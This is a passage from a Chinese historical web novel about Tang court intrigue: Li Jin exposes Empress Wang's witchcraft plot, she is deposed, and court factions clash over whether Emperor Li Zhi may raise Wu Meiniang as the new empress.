李治盯着李瑾看了片刻,缓缓点头:“准。朕给你手谕,着你与太医署刘神威,即刻暗中查访。记住,要隐秘,莫要惊扰六宫,但若有发现,立即来报!”
“臣遵旨!” 李瑾郑重领命。
有了皇帝手谕,一切便顺理成章。李瑾立刻找到刘神威(已看过密信,心中有数),两人带着几名绝对可靠的內侍、侍卫,以“查验各宫春日防虫药草储存情况”为名,开始“例行”巡查。他们先从一些偏远、或者近日有宫人“抱恙”的次要宫苑查起,过程细致但快速,并未发现异常。
直到下午,他们“顺理成章”地来到了立政殿区域。立政殿虽被禁足,但日常供给、巡查仍需进行。守门內侍见是奉旨查访,且有太医署的人,不敢阻拦,但通报了皇后。
王皇后闻讯,心中猛地一沉,一种不祥的预感瞬间攫住了她。她强作镇定,以“凤体不适”为由,只允许他们在前殿及外围查看。李瑾和刘神威依言,在前殿仔细“查验”了药柜、香炉等物,并无发现。
然而,就在他们“即将”告辞之时,刘神威忽然抽了抽鼻子,疑惑道:“咦?李少监,你可闻到一股……似有似无的古怪甜腻之气?似乎还夹杂着……朱砂与某种药物焚烧后的气味?”
李瑾也凝神细闻,点头:“不错。这气味……似乎是从后殿方向飘来?” 他转向一旁脸色发白的立政殿掌事宫女,“这位姑姑,不知后殿近日可曾焚烧过特殊药材,或是……有何法事?”
“没……没有!绝无此事!” 掌事宫女慌忙否认。
“既如此,” 李瑾神色严肃起来,“此气味颇为蹊跷,为保皇后殿下凤体安康,避免邪秽之物侵扰,我等需往后殿查看一番,以策万全。还请姑姑通禀皇后殿下。”
王皇后在寝殿闻报,又惊又怒,厉声拒绝。但李瑾手持皇帝“暗中查访、便宜行事”的手谕,态度坚决。消息很快传到皇帝耳中,皇帝本就因李瑾那番“毒物致幻”之说而心生警惕,闻听立政殿“有古怪甜腻之气,疑似禁药”,顿时龙颜大怒,当即下旨:“着李瑾、刘神威,即刻彻底搜查立政殿!任何人不得阻拦!朕倒要看看,是何方邪祟,敢在宫中作乱!”
圣旨一下,再无转圜。大批内侍省宦官、金吾卫军士涌入立政殿,将一干宫人控制。李瑾与刘神威直奔后殿那间被严密看守的杂物隔间。
门被强行撞开。昏暗的光线下,那诡异阴森的法坛、狰狞的木雕邪神、燃烧殆尽的线香、散落的符纸朱砂,以及那几个贴着生辰八字、缠绕着头发的桃木小人,赫然呈现在众人面前!尤其是那几个小人身上贴的名字——“武媚娘”、“萧淑妃”、“李治”,甚至还有“李忠”(太子)!触目惊心!
“搜!” 李瑾冷喝一声。
军士和宦官立刻上前,仔细搜查。在法坛下方的暗格里,又发现了剩余的“鬼罂粟”、“腐骨花”等禁药,以及记载着详细“厌胜”步骤和咒语的邪书。在乳母王氏的住处,搜出了大量银钱和与那蜀中道士往来的密信。
证据确凿,铁案如山!当这些秽物被呈到皇帝李治面前时,这位素来温和的年轻帝王,彻底暴怒了!他气得浑身发抖,脸色铁青,猛地将面前御案上的笔墨纸砚全部扫落在地!
“毒妇!毒妇!” 李治的声音因极致的愤怒而嘶哑,“朕的皇后!朕的结发妻子!竟在宫中行此厌胜巫蛊之术!诅咒妃嫔!诅咒太子!甚至……诅咒于朕!其心可诛!其罪当诛九族!!”
他简直不敢相信自己的眼睛!那个平日里端庄贤淑的王皇后,背地里竟如此恶毒疯狂!这已不是简单的争宠嫉妒,这是要动摇国本,要咒死他,咒死太子!再联想到李瑾那番“毒物致幻、心理暗示”之说,他更觉不寒而栗——若非及时发现,长此以往,这邪物烟气侵染,宫中还不知道要出多少“鬼祟”之事,闹出多少人命!
“陛下息怒!保重龙体!” 殿内跪倒一片。
李治剧烈喘息着,目光如刀,扫过那些秽物,最后落在李瑾身上:“李瑾!你今日揭破此案,有功于社稷!你且说说,此事,当如何处置?!”
李瑾伏地道:“陛下,此案证据确凿,骇人听闻。厌胜巫蛊,诅咒君上、储君,乃十恶不赦之大罪,按律当严惩。然,此案牵涉中宫,干系重大。如何处置,还需陛下圣心独断,并交有司依律严办。臣以为,当务之急,是彻底清除宫中此类邪物秽气,由太医署全面查验各宫,以防还有余毒。同时,应即刻封锁立政殿,将一干涉案人等,交予内侍省、刑部、大理寺三司会审,务必查明主从,揪出所有同党!”
他的建议稳妥而周全,既表明了严惩的态度,又将具体处置权交还皇帝,并提出了后续的清理和审查步骤。
“就依你所奏!” 李治咬牙切齿,“着内侍省、刑部、大理寺即刻会审此案!一应人犯,严刑拷问!立政殿王氏,废为庶人,打入冷宫,听后发落!其乳母王氏及一干从犯,即刻杖毙!凡涉案宫人、内侍,一律严惩不贷!太医署即刻清查六宫,凡有可疑之物,一概销毁!李瑾,刘神威,揭破邪祟有功,各赏金百两,绢千匹!李瑾加秘书少监(从四品上),仍兼前职!”
“臣等谢陛下隆恩!” 李瑾与刘神威叩首。秘书少监,已是秘书省的实际副长官之一,地位更加清要。更重要的是,经此一案,李瑾“实学”破邪祟的形象,在皇帝心中更加深刻,其忠诚与能力也得到进一步确认。
一场震动宫廷的“厌胜”大案,在李瑾“以科学破迷信”的巧妙手段下,被迅速而彻底地揭破。王皇后自作孽,不可活,终于将自己和家族推向了万劫不复的深渊。而李瑾与武媚娘,则借此东风,一个再获升迁,帝眷愈隆;另一个,最大的障碍之一已被铲除,通往更高位置的道路,豁然开朗。
废后之风波,由此正式拉开了最惨烈、也最关键的序幕。
第73章 朝臣议废立
贞观二十四年的暮春,随着立政殿“厌胜”邪祟案的惊悚揭露与雷霆处置,如同在看似平静实则暗流汹涌的长安政坛,投下了一颗足以引发地动山摇的巨石。王皇后(如今已是庶人王氏)被打入冷宫,其乳母及数名核心从犯被杖毙,数十名宫人、内侍遭牵连下狱,太医署奉命对后宫进行了一轮彻底的清查,又搜出些许不洁之物,牵连数位品阶不高的妃嫔、宫人,一时间,后宫人人自危,噤若寒蝉。朝野上下,无论与前朝后宫有无关联,都被这突如其来的宫廷巨变震撼得瞠目结舌,议论纷纷。
然而,这“厌胜”案的尘埃尚未落定,一个更加敏感、更加牵动天下人心的议题,便已随着王氏的倒台与冷宫的阴森大门“哐当”关闭,无可避免地、赤裸裸地摆在了大唐帝国的统治中枢面前——中宫虚位,国母当立。
“厌胜”案发后第七日,大朝。太极殿内的气氛,比往日更加肃穆凝重,甚至透着一股山雨欲来前的压抑。丹墀之下,文武百官肃立,但许多人的目光,都在不经意间,扫过御阶之上那空置的皇后凤座,又迅速垂下,心中念头百转。皇帝李治高踞御座,面色沉静,看不出喜怒,只是那双深邃的眼眸中,隐约可见一丝疲惫与深藏的决断之意。
朝议按部就班地进行,所奏之事却似乎都蒙上了一层心照不宣的阴影。户部奏报今春漕运,兵部议及吐蕃使者将至,工部请示洛水堤防加固……然诸臣奏对之时,言辞皆较往日更加谨慎,目光偶尔掠过端坐于文官班列靠前位置的李瑾(新加秘书少监,站位前移),又或扫过脸色铁青、闭目养神的萧瑀,以及眉头深锁、面沉似水的长孙无忌、褚遂良等元老重臣。
就在朝议接近尾声,侍立的内侍即将高唱“退朝”之时,一个清朗而沉稳的声音,打破了殿中那令人窒息的沉寂。
“陛下,臣有本奏。”
众人循声望去,出列者,乃新任中书舍人、兼弘文馆学士的许敬宗。许敬宗年近五旬,出身江南士族,文采斐然,然仕途早年因依附废太子李承乾而受挫,后依附李治,渐得重用。此人善于察言观色,文笔犀利,常为皇帝起草重要诏书,是皇帝近臣之一。此刻由他出列,许多人心中都是一凛。
“许卿何事?” 李治语气平淡。
许敬宗手持玉笏,躬身朗声道:“陛下,国不可一日无君,宫不可一日无主。 皇后,承天理物,母仪天下,佐助君王,风化兆民,乃乾坤正位,社稷重器。今中宫位缺,虚悬已久,非所以上承天心,下安民望也。且储君年幼,需嫡母教导;六宫纷繁,需正位统摄。 臣,冒死恳请陛下,为江山社稷、天下苍生计, 宜当速择贤德,正位中宫,以固国本,以定人心!”
来了!终于有人将“废后”之后必然的“立新”议题,正式、公开地提到了朝堂之上!而且是以如此堂皇正大、无可辩驳的“固国本、定人心”的理由!殿中顿时一片哗然,低语声四起。
支持者(多为皇帝近臣、寒门出身或与王氏、萧氏不睦的官员)精神一振,目光灼灼。反对者(以长孙无忌、褚遂良等元老及与太原王氏、兰陵萧氏关联密切的官员为首)则脸色骤变,眼中怒意隐现。
“许舍人所言,老臣以为不妥!” 几乎在许敬宗话音落下的瞬间,一位年过六旬、须发花白、身着紫袍的老臣便厉声出列,正是侍中、同中书门下三品的韩瑗。他是关陇贵族出身,性情耿直,与长孙无忌、褚遂良同气连枝。“皇后之位,关乎礼法纲常,岂可轻言‘速择’?先皇后(指王皇后)虽有失德,然废立大事,当慎之又慎,需天时、地利、人和俱备,更需天下归心, 非一言可决!且中宫人选,必出身名门,德才兼备,为天下楷模**,岂可仓促定之?臣以为,当从长计议,博采众议,方是稳妥!”
韩瑗虽未明言反对“立新”,但强调“慎之又慎”、“从长计议”、“出身名门”,实则是在拖延,并为可能的新后人选设定极高的、近乎苛刻的门槛(“出身名门”一条,便可将许多潜在人选排除在外)。
“韩侍中所言,才是老成谋国之道!” 又一位大臣出列附议,是黄门侍郎、同中书门下三品的来济,亦是关陇集团重要人物,“礼,治国家,定社稷,序民人,利后嗣。 废后已是非常之举,立新更需依礼而行。臣闻,《春秋》之义,母以子贵,子以母贵。 今太子既立,太子之母,方是国母之正选!然……” 他顿了顿,目光扫过御座,意有所指,“太子生母早薨,此乃天意。 然太子既为储君,其教养、其体统,关乎国本。 中宫新立,必能慈爱太子,视如己出,方合礼法,可安天下!”
来济更狠,直接搬出“母以子贵”的《春秋》大义,将“国母”人选与“太子生母”挂钩。太子李忠生母刘氏出身低微且早逝,这等于暗示,新后必须能善待、甚至“视如己出”地抚养非亲生的太子,这无疑又是一个极高的、且微妙的要求。同时,也隐隐点出,皇帝若另立宠妃(如萧淑妃,或有子的其他妃嫔),其子可能与太子产生嫡庶之争,不利于国本。
这两位重臣一唱一和,引经据典,占据了“礼法”和“国本”的制高点,反对的意图已十分明显。许多中立官员闻言,也开始暗自点头,觉得二人所言有理。
皇帝李治的脸色,微微沉了下来。他自然听得出韩瑗、来济话中的机锋。他们是在用“礼法”和“太子”来制约他,不希望他立一个可能威胁现有权力格局(尤其是关陇集团和太子地位)的新皇后。
“韩公、来公所言,固是正理。” 又一个声音响起,出列的是新任吏部侍郎、出身寒门但以干练著称的李义府。他面带微笑,语气却绵里藏针,“然,法理不外乎人情,礼制亦需顺应时势。 先皇后王氏,行厌胜巫蛊,诅咒君父、储君,此乃人神共愤,天地不容之罪!其德已亏,其位自废,此乃陛下依国法、顺天意而行,何来‘轻言’?中宫既虚,为国计,为民望, 早日择贤而立,正是陛下勤政爱民、重视纲常之体现!至于新后人选,德才为重,出身次之。 若只论门第,不论贤愚,则何以表率天下,教化兆民?昔文德皇后(长孙皇后)曾言:‘妾于陛下,为夫妇,情义深重。然每观古事, 后妃之德,在佐君以道,不在门户高低。’ 此乃至理名言!且太子仁孝聪敏,陛下圣明烛照, 无论谁为中宫,只要恪守 母仪, 慈爱 太子, 东宫之位,自然固若金汤,何忧之有?”
李义府针锋相对,先为皇帝的“废后”正名,强调其正当性与必要性。然后提出“德才为重,出身次之”,反驳韩瑗的“出身名门”论,并引用已故长孙皇后的话来增强说服力。最后,又将“太子”问题轻描淡写地带过,强调皇帝和太子本身的重要性,试图化解来济设置的障碍。
他的发言,显然代表了另一批人的声音,即那些希望通过支持皇帝“立新”来获取政治资本、或对关陇集团把持朝政有所不满的官员。许敬宗、李义府等人,皆是此中代表。
朝堂之上,顿时形成了泾渭分明的两派,围绕着“速立”与“缓议”、“德才”与“门第”、“太子”与“新后”等核心问题,展开了激烈的交锋。支持“速立”者,多引用“国不可无主”、“顺天应人”等大义;主张“缓议”者,则紧扣“礼法纲常”、“国本稳固”等祖制。双方各执一词,引经据典,唇枪舌剑,太极殿内气氛骤然紧张,火药味十足。
作为此事关键人物的李瑾,此刻却静立于班列之中,眼观鼻,鼻观心,并未急于发言。他知道,此刻的争论尚在表面,真正的核心人物——长孙无忌、褚遂良,甚至萧瑀,都还未明确表态。皇帝也在观望。他需要等待一个更合适的时机,或者,一个能打破僵局的契机。
果然,在双方争论渐趋白热化时,一直沉默不语的太尉、同中书门下三品,顾命首辅大臣长孙无忌,终于缓缓睁开了微阖的双目。他没有出列,只是用那双深邃而充满威压的目光,缓缓扫过争论的双方,最后落在御座上的皇帝身上。
仅仅是一个眼神,殿中的喧嚣便不由自主地低了下去。长孙无忌的威望与权势,在贞观末年的朝堂,仍是毋庸置疑的定海神针。
“诸公所言,皆有为国之心。” 长孙无忌终于开口,声音不高,却带着一种不容置疑的沉稳力量,“废后立新,确系 国之大政, 关乎礼法、国本、朝局稳定。陛下 圣心 独运, 老臣等 自当悉心 辅佐。然, 老臣以为, 此事 不宜** 操之过急。”
他顿了顿,目光再次扫过全场:“王氏罪孽,自有国法 严惩。然 中宫之位, 非同 寻常 官职。 其人选, 不仅需 德 才 兼备, 更需 为 天下 臣民 所 共 仰, 能 使 六 宫 悦 服, 四 海 归 心。 此等 人 选, 岂是 旦 夕 可 得? 且, 太子 年 幼, 骤然 更 易 嫡 母, 于 其 身 心 教 养, 恐 有 未 便。 老臣 愚 见, 不 若 暂 由 四 妃(指贵、淑、德、贤四妃) 协 理 六 宫 事 务, 陛 下 可 从 容 考 察, 待 有 真 正 合 适 人 选, 内 外 无 议, 再 行 册 立, 方 为 上 策。”
长孙无忌不愧是老谋深算的政治家。他没有直接反对“立新”,而是提出了一个看似折中、实则极为高明的“拖”字诀——由四妃协理六宫,皇帝“从容考察”。这既安抚了皇帝急于“立新”的心理,又为自己和关陇集团赢得了宝贵的时间,可以在这“考察期”内,或寻找、扶植符合他们利益的新后人选,或设法阻止不符合他们利益的人上位,甚至可以利用“四妃协理”的局面,继续维持后宫乃至前朝的权力平衡。更重要的是,他再次强调了“太子”因素,暗示稳定东宫是当前第一要务。
褚遂良立刻出列附和:“太尉所言,老成谋国,臣附议!”
韩瑗、来济等关陇集团官员也纷纷表态支持。许多中立官员见长孙无忌发话,且提议看似稳妥,也倾向于赞同“暂缓”。
皇帝李治的眉头,几不可察地蹙了一下。他听懂了长孙无忌的言外之意。这位舅舅兼顾命大臣,并不支持他立刻立后,更不希望他立一个可能脱离关陇集团掌控、甚至威胁太子地位的新皇后。所谓的“从容考察”,很可能意味着无穷无尽的拖延和阻力。
他的目光,不由自主地瞥向了文官班列中那个沉稳的身影——李瑾。李瑾感受到了皇帝的目光,知道该自己出场了。他并非要直接支持或反对某一方,而是要提供一个看似“客观”、实则能引导皇帝和朝臣思路的新视角。
李瑾出列,行礼,声音清晰平稳:“陛下,太尉、褚公及诸位所言,皆是从礼法、国本、朝局稳定大局出发,老成谋国,臣深以为然。”
他先肯定了反对派的出发点,缓和气氛,然后话锋一转:“然,臣近日督行实务,核查司农寺新式农具推广、格物所海舶改良、及岭南市舶司税入诸事,偶有所感。治国如 治水, 堵 不如 疏, 静 不如 动。 后宫 虽为 内 廷, 然 与 前 朝 政 务、 天 下 民 生, 实 则 息 息 相 关。**”
他引入“实务”视角,将后宫之事与前朝政务、天下民生联系起来,提升讨论的格局。
“中宫虚位, 非 仅 后 宫 无 主。 其 所 涉, 一 则 礼 法 有 亏, 天 下 观 瞻 所 系; 二 则 六 宫 事 务 纷 繁, 若 无 人 统 摄, 久 之 恐 生 弊 端, 耗 费 国 用(指管理不善导致的浪费); 三 则 …… 于 安 抚 四 夷、 彰 显 天 朝 德 化 亦 有 所 碍。 四 夷 藩 国, 朝 贡 之 时, 皆 问 中 宫 安 否, 若 长 期 虚 悬, 恐 启 其 轻 慢 之 心。”
他从“礼法观瞻”、“宫务管理”、“国用损耗”、“外交体面”等多个“实务”角度,阐述了“中宫虚位”可能带来的具体弊端,比单纯空谈“礼法”、“国本”更具体,也更有说服力。
“故臣以为,” 李瑾总结道,“ 立 新 后 之 事, 确 应 慎 重, 然 亦 不 可 久 拖 不 决。 太尉 所 言 ‘ 从 容 考 察 ’, 臣 以 为 甚 善。 然 此 ‘ 考 察 ’, 当 有 明 确 之 期, 并 可 令 有 司(如礼部、宗正寺) 依 据 古 礼 与 时 宜, 拟 定 详 细 之 标 准 与 程 序, 公 之 于 朝, 使 陛 下 考 察 有 据, 朝 臣 议 论 有 的。 如 此, 方 可 避 免 久 议 不 决, 亦 可 防 止 人 心 浮 动, 徒 生 事 端。”
他提出了一个折中方案:接受“从容考察”,但要求设定“明确期限”和“公开标准程序”。这既给了长孙无忌面子,没有否定其“考察”建议,又暗中施加了时间压力,并将选拔过程在一定程度上“公开化”、“程序化”,减少了暗箱操作和无限期拖延的可能。同时,将“有司”(礼部、宗正寺)拉入,也分散了关陇集团可能对过程的完全掌控。
这个建议,看似不偏不倚,务实理性,实则暗藏机锋。既回应了皇帝希望推进的意愿,又让反对派难以直接驳斥(因为表面上同意了他们的“慎重”原则)。
皇帝李治眼中闪过一丝赞赏。李瑾这番话,进退有度,既维护了他的权威,又巧妙地将议题向前推进了一步。他沉吟片刻,缓缓道:“诸卿所议,朕已尽知。 中宫之事, 确 需 慎 重。 长孙 无 忌 所 奏, 由 四 妃 协 理 六 宫, 朕 准 奏。 然 李 瑾 所 言, 亦 是 老 成 之 见。 着 礼 部、 宗 正 寺, 会 同 中 书 门 下, 依 古 礼 与 时 宜, 于 一 月 内, 拟 定 考 察 与 册 立 中 宫 之 标 准 与 程 序 条 陈, 呈 报 于 朕。 在 此 期 间, 诸 卿 可 各 抒 己 见, 但 不 得 妄 加 揣 测, 扰 乱 朝 纲。 退 朝!**”
皇帝最终拍板:采纳长孙无忌“四妃协理、从容考察”的建议,但同时也采纳了李瑾“设定期限、拟定程序”的意见,并明确了责任衙门和时间。这等于将“废王立武”(或者说“立新后”)之事,正式纳入了朝廷的议事和办事程序,使之从一个模糊的意向,变成了有章可循、有待解决的正式议题。
朝会散去,但每个人心中都清楚,真正的较量,才刚刚开始。一个月的时间,看似不长,却足以让各方势力使出浑身解数,在“标准”、“程序”的制定中博弈,在“人选”的考察中角力。长孙无忌、褚遂良等人面色凝重,匆匆离去,显然要去商议对策。许敬宗、李义府等人则面露喜色,低声交谈。更多的官员,则是心事重重,暗自揣摩。
李瑾随着人流走出太极殿,春日的阳光有些刺眼。他知道,自己今日在朝堂上的发言,已经将他和武媚娘,更深地绑在了皇帝的“立新”战车上,也彻底站到了长孙无忌等元老重臣的对立面。接下来的一个月,将是决定性的一个月。他必须利用好“格物所”和“督行实务”的资源,搜集更多有利的证据,准备更充分的“炮弹”,同时,也要确保武媚娘在宫中,能安然度过这最后的考察期,并展现出足以“母仪天下”的“德”与“才”。
废后风波,至此正式进入最激烈、最关键的朝堂博弈阶段。而他和她,已无路可退,唯有迎难而上,携手破局。
第74章 长孙终发难
四月末,暮春将尽,夏意初萌。然而笼罩在长安城上空、尤其是皇城大内的政治空气,却并未随着季节更替而变得和暖,反而在皇帝勒令礼部、宗正寺、中书门下“于一月内拟定考察与册立中宫之标准与程序”的旨意下达后,变得更加凝滞、压抑,仿佛暴风雨前令人窒息的沉闷。各方势力都在紧锣密鼓地行动,明里暗里的较量和博弈,在朝堂的每一个角落、每一次会面、每一封书信中无声而激烈地进行着。
长孙无忌府邸的书房,连日来烛火常明至深夜。这位历经两朝、辅佐太宗开创“贞观之治”、又受托孤重任扶持今上的顾命首辅,眉宇间的沟壑比以往任何时候都要深邃。他面前摊开着礼部、吏部、户部乃至宫中递来的各种密报、名录、以及门生故旧的意见陈条。废王皇后是既定事实,他无力也无心挽回,但“立新后”之事,却触动了这位关陇集团领袖、同时也是传统礼法秩序最坚定维护者的核心利益与政治信念。
他反对立武媚娘,反对的并非仅仅是武媚娘这个人,而是这件事背后所代表的、可能彻底改变现有权力格局的危险倾向。一个出身并不显赫(武士彟已故,武氏并非顶级门阀)、曾为先帝才人、与皇帝有“私情”之嫌、且明显与“实学”新贵李瑾暗通款曲的女人,若登上后位,意味着什么?意味着皇权可能进一步摆脱关陇集团和传统朝臣的制约,意味着“实学”、“格物”那些“奇技淫巧”可能获得更正统的地位,意味着后宫与某些新兴政治力量的勾结可能成为常态,更意味着太子李忠(非武媚娘所出)的地位将岌岌可危!这完全背离了太宗皇帝“与士大夫共治天下”、维持朝局平衡稳定的遗训!
更让长孙无忌忧心的是皇帝李治的态度。这位他亲眼看着长大的外甥,性情看似温和,骨子里却有着不亚于其父的刚愎与执拗,尤其是在试图摆脱“顾命大臣”阴影、彰显自己权威方面。从重用李瑾推行“实学”,到雷厉风行处置王皇后“厌胜”案,再到如今急切地想要“立新后”,每一步都显示出皇帝扩张皇权、培植自己班底的强烈意愿。而武媚娘,很可能就是皇帝选中的、在内廷协助他实现这一目标的关键人物。
绝不能让此事成功!长孙无忌下定了决心。他必须利用自己无与伦比的威望和朝中盘根错节的关系网,在“标准”与“程序”的制定中,设置重重障碍,将武媚娘排除在合格人选之外,至少,要极大地延缓甚至阻止其上位。
他首先联络了褚遂良、韩瑗、来济等铁杆盟友,统一了思想。接着,他又暗中示意与关陇集团关系密切的御史、言官,开始搜集、整理关于武媚娘“身份瑕疵”、“德行有亏”的“材料”,并准备弹章。同时,他授意礼部、宗正寺中倾向于己方的官员,在拟定“标准”时,极力强调“门第清贵”、“家世清白”、“贞静贤淑”、“无任何过往瑕疵”等条款,并暗示“曾侍先帝”是重大道德污点,有违“一女不事二夫”的纲常伦理。在“程序”上,则主张必须经过“百官廷议”、“宗室合议”、“天下舆情”等多重复杂环节,将时间无限拉长。
然而,皇帝和李瑾方面显然也有所准备。许敬宗、李义府等人积极活动,联络寒门、庶族出身或对关陇集团把持朝政不满的官员,宣扬“唯德才是举”、“不拘门户”、“陛下家事”等观点。李瑾则通过“格物所”和“督行实务”的渠道,不断呈报一些“利国利民”的成果,并隐约将“后宫安宁”与“新政推行”的顺利与否挂钩,强化皇帝“早日确立中宫以稳定内外”的念头。武媚娘在宫中,更是谨言慎行,对四妃(尤其是暂时协理六宫的德妃、贤妃)恭敬有加,对下温和,每日抄经祈福,偶尔在与皇帝见面时,谈及经史亦能有独到平和见解,绝口不提立后之事,反而劝皇帝“以国事为重,勿以妾身为念”,愈发显得“识大体、明事理”。
双方角力之下,礼部等衙门拟定的“标准与程序”条陈迟迟难以定稿,争论不休。眼看一月之期将至,朝堂上的火药味也越来越浓。
四月廿八,大朝。这是“一月之期”前的最后一次大朝会。所有人都知道,今日朝堂之上,关于“立后”的争论,必将达到一个高潮。
果然,朝议进行到一半,当礼部尚书出列,颇为为难地奏报“中宫册立标准程序条陈,各部尚有争议,未能统一,乞请陛下宽限时日”时,皇帝李治的脸色立刻沉了下来。
“一月之期,朕早已明示。尔等拖延至今,竟言‘未能统一’?是何道理?!” 李治的声音带着明显的不悦。
礼部尚书汗如雨下,支支吾吾,目光不由自主地瞟向长孙无忌的方向。
就在这时,侍中、同中书门下三品褚遂良出列了。他手持玉笏,神色肃穆,以一种近乎悲壮的姿态,撩袍跪倒在丹墀之前。
“陛下!” 褚遂良声音洪亮,带着一股不容置疑的决绝,“臣,冒死进言!中宫之事,关乎国本,礼法 纲常,天下 观瞻,非可 轻 率 而 行! 陛下 命 礼 部 等 拟 定 条 陈, 本是 慎 重 之 举。 然 老 臣 等 反 复 斟 酌, 以 为 当 今 之 急, 非 在 速 立 新 后, 而 在 稳 固 国 本, 明 晰 礼 法!**”
他顿了顿,抬眼直视皇帝,目光炯炯:“陛下欲立中宫,臣等不敢违拗。然, 人 选 之 要, 首 在 德 行, 次 在 门 第, 三 在 是 否 有 益 于 东 宫! 臣 闻 陛 下 属 意 者, 乃 先 帝 才 人 武 氏! 陛 下! 此 万 万 不 可!**”
他终于将矛头直接指向了武媚娘!殿中一片哗然!
褚遂良不顾众人反应,继续慷慨陈词,声音愈发激昂:“ 武 氏 曾 奉 先 帝 于 帷 幄, 天 下 共 知! 今 陛 下 复 纳 于 后 宫, 已 是 …… 已 是 有 亏 人 伦 之 嫌! 若 再 立 为 天 下 母, 主 宰 六 宫, 母 仪 天 下, 则 将 置 先 帝 于 何 地? 置 陛 下 清 誉 于 何 地? 置 天 下 礼 法 纲 常 于 何 地?! 此 事 若 行, 必 致 天 下 哗 然, 史 官 直 笔, 陛 下 将 成 千 古 笑 柄! 老 臣 宁 死, 不 敢 奉 诏!”
这番话,简直是诛心之论!直接将“立武媚娘”拔高到“违背人伦”、“有亏德行”、“玷污清誉”、“败坏纲常”、“贻笑千古”的可怕高度!褚遂良以死相谏,态度之激烈,言辞之尖锐,已近乎指着皇帝的鼻子痛斥其“**”!
殿内死一般的寂静。许多官员被褚遂良这决绝的姿态和严厉的指控震得目瞪口呆。支持立武的官员又惊又怒,却一时被其气势所慑,难以辩驳。中立官员更是面面相觑,觉得褚遂良所言虽过于直接,却也点出了武媚娘身份上最敏感、最难以辩解的“硬伤”。
皇帝李治的脸色,瞬间变得铁青,握着御座扶手的手指因用力而骨节发白,胸口剧烈起伏,显然怒到了极点。褚遂良这是把他和武媚娘的关系,定性为“**”,这是任何帝王都无法忍受的公开羞辱和道德指控!
“褚遂良!你……你放肆!” 李治猛地一拍御案,厉声喝道。
然而,不等皇帝继续发作,黄门侍郎、同中书门下三品韩瑗也出列跪倒,高声附和:“陛下!褚公忠言逆耳,然句句肺腑,皆为陛下、为社稷着想! 武 氏 身 份 尴 尬, 实 不 宜 正 位 中 宫! 且 其 入 宫 以 来, 虽 表 面 恭 顺, 然 后 宫 屡 生 事 端, 流 言 不 断, 恐 非 福 德 绵 长 之 人! 望 陛 下 以 史 为 鉴, 远 妲 己、 褒 姒 之 祸, 亲 贤 德, 远 色 佞, 方 是 圣 君 之 道!**”
韩瑗将武媚娘比作“妲己、褒姒”,暗示她是祸·国妖女,这指控比褚遂良的“**”之说更为恶毒,直接否定其人格与品德。
紧接着,中书侍郎来济,以及数名言官、御史,也纷纷出列,跪倒一片,齐声附和褚遂良、韩瑗之言,请求皇帝“收回成命”、“另择贤德”。一时间,丹墀之下,跪倒了二三十位紫袍、绯袍高官,其中多为三省六部要员、御史台骨干,声势浩大,压力如山!
这是关陇集团及其盟友,在长孙无忌的默许甚至授意下,发动的一次总攻!他们以“礼法纲常”、“历史污点”为武器,以集体跪谏、甚至以死相逼的决绝姿态,向皇帝施加强大压力,意图一举将武媚娘从“后位”候选名单中彻底抹去,甚至可能迫使皇帝放弃“立武”的念头!
皇帝李治看着殿下黑压压跪倒的一片重臣,气得浑身发抖,脸色由青转白,又由白转红。他没想到,反对的力量如此强大,态度如此激烈!这些顾命老臣、朝廷重镇,竟然如此不留情面,当庭将他逼到如此难堪的境地!他若强行坚持,便是“不纳忠言”、“亲近女色”、“违背礼法”的昏君!可若就此退缩,皇权威严何在?日后还如何推行新政?如何驾驭这些骄横的老臣?
就在这千钧一发、朝堂气氛紧张到极点之时,一直冷眼旁观、等待时机的长孙无忌,终于缓缓出列了。他没有下跪,只是微微躬身,声音沉稳,却带着泰山压顶般的重量:
“陛下,褚公、韩公、来公等,言语虽有激切,然其心可悯,皆是为 大唐 江 山 社 稷 万 年 计。 老臣 忝 为 顾 命, 辅 佐 陛 下, 亦 不 得 不 言。 武 氏 之 事, 确 有 违 礼 法 人 情 之 处。 陛 下 春 秋 鼎 盛, 何 愁 无 贤 德 淑 女 堪 为 国 母? 何 必 执 着 于 一 人, 惹 天 下 非 议, 伤 君 臣 和 气, 动 摇 国 本? 老臣 恳 请 陛 下, 三 思 而 后 行, 暂 缓 立 后 之 议, 待 时 机 成 熟, 人 选 妥 当, 再 行 商 议 不 迟。 若 陛 下 一 意 孤 行…… 老臣 年 迈 昏 聩, 恐 难 再 居 首 辅 之 位, 唯 有 乞 骸 骨, 归 养 林 泉 了!**”
长孙无忌最后这番话,看似劝解,实则是最严厉的警告和威胁!他以“顾命”身份表态,指出武媚娘“有违礼法人情”,暗示皇帝若不听从,便是“执着于一人,惹天下非议,伤君臣和气,动摇国本”!更以“乞骸骨”(辞职)相要挟!这是赤裸裸地表示:要么皇帝放弃立武媚娘,要么他这位顾命首辅就撂挑子不干了!这无异于将皇帝逼到了墙角——若失去长孙无忌的支持,朝局必将大乱,皇帝也将背负“逼走顾命老臣”的骂名!
殿内再次陷入死寂,只剩下皇帝粗重的喘息声。所有人都屏息凝神,看着御座上那位年轻帝王,如何应对这前所未有的逼宫局面。支持立武的许敬宗、李义府等人脸色发白,想开口辩解,却慑于长孙无忌的威势和眼前这庞大的反对阵容,一时不敢轻易发声。
李治的胸膛剧烈起伏,目光如刀,扫过跪伏在地的褚遂良、韩瑗等人,最后落在神色平静却目光深邃的长孙无忌脸上。愤怒、屈辱、不甘、以及一丝难以掩饰的……无力感,在他眼中交织。他明白,今天,他无法强行推进了。长孙无忌和关陇集团的力量,比他想象的还要强大,他们的反对,也比他预料的更加团结和激烈。
“好……好一个‘忠言逆耳’!好一个‘乞骸骨’!” 李治的声音因极力压抑怒火而微微颤抖,他缓缓从御座上站起,目光冰冷地俯视着殿下众臣,“诸卿今日之言,朕……记住了。立后之事,既如此多争议,那便……暂缓!礼部所拟条陈,不必再报!退朝!”
说罢,他不再看任何人,拂袖转身,在内侍的簇拥下,径直离开了太极殿。那背影,透着前所未有的孤寂与愤怒。
“臣等恭送陛下!” 山呼声中,带着复杂的情绪。支持者如释重负又心有不甘,反对者暗自松了口气却并无多少喜色,中立者则忧心忡忡。
长孙无忌缓缓直起身,与褚遂良交换了一个眼神,皆看到对方眼中的凝重,并无多少胜利的喜悦。他们知道,今日虽逼得皇帝暂缓,但也彻底激怒了皇帝,撕破了君臣之间最后一层温情脉脉的面纱。未来的斗争,必将更加残酷,更加凶险。皇帝绝不会就此罢休,而他们,也已无路可退。
朝会散去,但“废后风波”引发的惊涛骇浪,却因长孙无忌的这次“终发难”,被推向了更加不可预测的深渊。所有人都意识到,一场决定大唐未来数十年政治走向的终极对决,已然不可避免。
第75章 瑾献三罪证
